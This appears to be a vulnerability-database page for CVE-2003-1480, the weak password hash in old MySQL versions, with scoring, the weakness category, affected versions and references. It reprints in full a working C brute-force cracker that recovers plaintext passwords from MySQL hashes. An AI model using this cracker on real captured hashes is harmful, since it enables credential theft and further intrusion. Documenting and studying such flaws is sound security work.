CVE-2003-1480 : Detail

CVE-2003-1480

A02-Cryptographic Failures
0.34%V3
Network
2007-10-24
23h00 +00:00
2024-09-16
22h15 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

MySQL 3.20 through 4.1.0 uses a weak algorithm for hashed passwords, which makes it easier for attackers to decrypt the password via brute force methods.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-310 Category : Cryptographic Issues
Weaknesses in this category are related to the design and implementation of data confidentiality and integrity. Frequently these deal with the use of encoding techniques, encryption libraries, and hashing algorithms. The weaknesses in this category could lead to a degradation of the quality data if they are not addressed.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.3 AV:N/AC:M/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 22565

Publication date : 2003-05-04 22h00 +00:00
Author : Secret Squirrel
EDB Verified : Yes

// source: https://www.securityfocus.com/bid/7500/info MySQL has been reported to implement a weak password encryption algorithm. It has been reported that the MySQL function used to encrypt MySQL passwords makes just one pass over the password and employs a weak left shift based cipher. The hash may be cracked in little time using a bruteforce method. An attacker may use information recovered in this way to aid in further attacks launched against the underlying system. /* This program is public domain. Share and enjoy. * * Example: * $ gcc -O2 -fomit-frame-pointer mysqlfast.c -o mysqlfast * $ mysqlfast 6294b50f67eda209 * Hash: 6294b50f67eda209 * Trying length 3 * Trying length 4 * Found pass: barf * * The MySQL password hash function could be strengthened considerably * by: * - making two passes over the password * - using a bitwise rotate instead of a left shift * - causing more arithmetic overflows */ #include <stdio.h> typedef unsigned long u32; /* Allowable characters in password; 33-126 is printable ascii */ #define MIN_CHAR 33 #define MAX_CHAR 126 /* Maximum length of password */ #define MAX_LEN 12 #define MASK 0x7fffffffL int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary) { int i, c; u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2; u32 newstate1, newstate2, newstate3; u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2]; u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3]; i = -1; sum = 7; state1_ary[0] = 1345345333L; state2_ary[0] = 0x12345671L; while (1) { while (i < stop) { i++; pass_ary[i] = MIN_CHAR; step_ary[i] = (state1_ary[i] & 0x3f) + sum; xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8); sum += MIN_CHAR; state1_ary[i+1] = state1_ary[i] ^ xor_ary[i]; state2_ary[i+1] = state2_ary[i] + ((state2_ary[i] << 8) ^ state1_ary[i+1]); } state1 = state1_ary[i+1]; state2 = state2_ary[i+1]; step = (state1 & 0x3f) + sum; xor1 = step*MIN_CHAR + (state1 << 8); xor2 = (state2 << 8) ^ state1; for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) { newstate2 = state2 + (xor1 ^ xor2); newstate1 = state1 ^ xor1; newstate3 = (targ2 - newstate2) ^ (newstate2 << 8); div = (newstate1 & 0x3f) + sum + c; diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK; if (diff % div != 0) continue; d = diff / div; if (d < MIN_CHAR || d > MAX_CHAR) continue; div = (newstate3 & 0x3f) + sum + c + d; diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK; if (diff % div != 0) continue; e = diff / div; if (e < MIN_CHAR || e > MAX_CHAR) continue; pass_ary[i+1] = c; pass_ary[i+2] = d; pass_ary[i+3] = e; return 1; } while (i >= 0 && pass_ary[i] >= MAX_CHAR) { sum -= MAX_CHAR; i--; } if (i < 0) break; pass_ary[i]++; xor_ary[i] += step_ary[i]; sum++; state1_ary[i+1] = state1_ary[i] ^ xor_ary[i]; state2_ary[i+1] = state2_ary[i] + ((state2_ary[i] << 8) ^ state1_ary[i+1]); } return 0; } void crack(char *hash) { int i, len; u32 targ1, targ2, targ3; int pass[MAX_LEN]; if ( sscanf(hash, "%8lx%lx", &targ1, &targ2) != 2 ) { printf("Invalid password hash: %s\n", hash); return; } printf("Hash: %08lx%08lx\n", targ1, targ2); targ3 = targ2 - targ1; targ3 = targ2 - ((targ3 << 8) ^ targ1); targ3 = targ2 - ((targ3 << 8) ^ targ1); targ3 = targ2 - ((targ3 << 8) ^ targ1); for (len = 3; len <= MAX_LEN; len++) { printf("Trying length %d\n", len); if ( crack0(len-4, targ1, targ3, pass) ) { printf("Found pass: "); for (i = 0; i < len; i++) putchar(pass[i]); putchar('\n'); break; } } if (len > MAX_LEN) printf("Pass not found\n"); } int main(int argc, char *argv[]) { int i; if (argc <= 1) printf("usage: %s hash\n", argv[0]); for (i = 1; i < argc; i++) crack(argv[i]); return 0; }

Products Mentioned

Configuraton 0

Mysql>>Mysql >> Version 4.1.0

Oracle>>Mysql >> Version 3.20

Oracle>>Mysql >> Version 3.20.32a

Oracle>>Mysql >> Version 3.21

Oracle>>Mysql >> Version 3.22

Oracle>>Mysql >> Version 3.22.26

Oracle>>Mysql >> Version 3.22.27

Oracle>>Mysql >> Version 3.22.28

Oracle>>Mysql >> Version 3.22.29

Oracle>>Mysql >> Version 3.22.30

Oracle>>Mysql >> Version 3.22.32

Oracle>>Mysql >> Version 3.23.2

Oracle>>Mysql >> Version 3.23.3

Oracle>>Mysql >> Version 3.23.4

Oracle>>Mysql >> Version 3.23.5

Oracle>>Mysql >> Version 3.23.8

Oracle>>Mysql >> Version 3.23.9

Oracle>>Mysql >> Version 3.23.10

Oracle>>Mysql >> Version 3.23.22

Oracle>>Mysql >> Version 3.23.23

Oracle>>Mysql >> Version 3.23.24

Oracle>>Mysql >> Version 3.23.25

Oracle>>Mysql >> Version 3.23.26

Oracle>>Mysql >> Version 3.23.27

Oracle>>Mysql >> Version 3.23.28

Oracle>>Mysql >> Version 3.23.28

Oracle>>Mysql >> Version 3.23.29

Oracle>>Mysql >> Version 3.23.30

Oracle>>Mysql >> Version 3.23.31

Oracle>>Mysql >> Version 3.23.32

Oracle>>Mysql >> Version 3.23.33

Oracle>>Mysql >> Version 3.23.34

Oracle>>Mysql >> Version 3.23.35

Oracle>>Mysql >> Version 3.23.36

Oracle>>Mysql >> Version 3.23.37

Oracle>>Mysql >> Version 3.23.38

Oracle>>Mysql >> Version 3.23.39

Oracle>>Mysql >> Version 3.23.40

Oracle>>Mysql >> Version 3.23.41

Oracle>>Mysql >> Version 3.23.42

Oracle>>Mysql >> Version 3.23.43

Oracle>>Mysql >> Version 3.23.44

Oracle>>Mysql >> Version 3.23.45

Oracle>>Mysql >> Version 3.23.46

Oracle>>Mysql >> Version 3.23.47

Oracle>>Mysql >> Version 3.23.48

Oracle>>Mysql >> Version 3.23.49

Oracle>>Mysql >> Version 3.23.50

Oracle>>Mysql >> Version 3.23.51

Oracle>>Mysql >> Version 3.23.52

Oracle>>Mysql >> Version 3.23.53

Oracle>>Mysql >> Version 3.23.53a

Oracle>>Mysql >> Version 3.23.54

Oracle>>Mysql >> Version 3.23.54a

Oracle>>Mysql >> Version 3.23.55

Oracle>>Mysql >> Version 3.23.56

Oracle>>Mysql >> Version 4.0.0

Oracle>>Mysql >> Version 4.0.1

Oracle>>Mysql >> Version 4.0.2

Oracle>>Mysql >> Version 4.0.3

Oracle>>Mysql >> Version 4.0.5a

Oracle>>Mysql >> Version 4.0.7

Oracle>>Mysql >> Version 4.0.8

Oracle>>Mysql >> Version 4.0.9

Oracle>>Mysql >> Version 4.0.11

Oracle>>Mysql >> Version 4.1.0

References

http://secunia.com/advisories/8753
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/7500
Tags : vdb-entry, x_refsource_BID